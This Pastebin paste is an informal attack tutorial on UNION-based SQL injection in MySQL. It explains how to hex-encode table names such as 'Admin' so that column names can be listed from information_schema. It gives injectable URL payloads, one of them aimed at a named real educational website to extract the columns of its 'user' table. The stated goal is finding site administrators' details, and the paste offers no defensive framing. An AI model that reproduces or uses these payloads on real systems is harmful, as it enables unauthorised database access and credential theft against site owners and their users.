Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1>how to find admin detail
- 2> admin column from selection table :D
- I hope you have understand all method :)
- to find table i have already teach so now time to learn about finding column
- ====>QUERY<=====
- +from
- +information_schema.columns
- where table_name=TableNameHEX
- example >
- -23+union+select
- +1,group_concat(column_name),3 from information_schema.columns
- where table_name=Admin
- ====>ERRoR<=====
- why we get error here you know? Because we haven't convert yet in hex to 'ADMIN'
- >>>so try this one query :)
- The HEX of Admin is:
- 41646d696eNow we must add 0x
- (MySQL integer) at the front of
- the HEX, which should now look
- like this: 0x41646d696eAnd pop it
- onto the end of the URL replacing Admin, so the URL should look
- something like the following.
- Example:wxw.site.com/index.php? Client_id=-23+union+select
- +1,group_concat(column_name),3 from information_schema.columns
- where table_name=0x41646d696e
- Real site example: i conver USER in hex and get this :D
- http://www.skitm.edu.in/faculty.php?id=-2+union+select+1,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572
- So after finding table you have to choose the table and find it's column :)
- in every site don't use table in normal text
- whenever you want to find column of the site conver it in hex then only you can get value :)
- #hope you understand
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement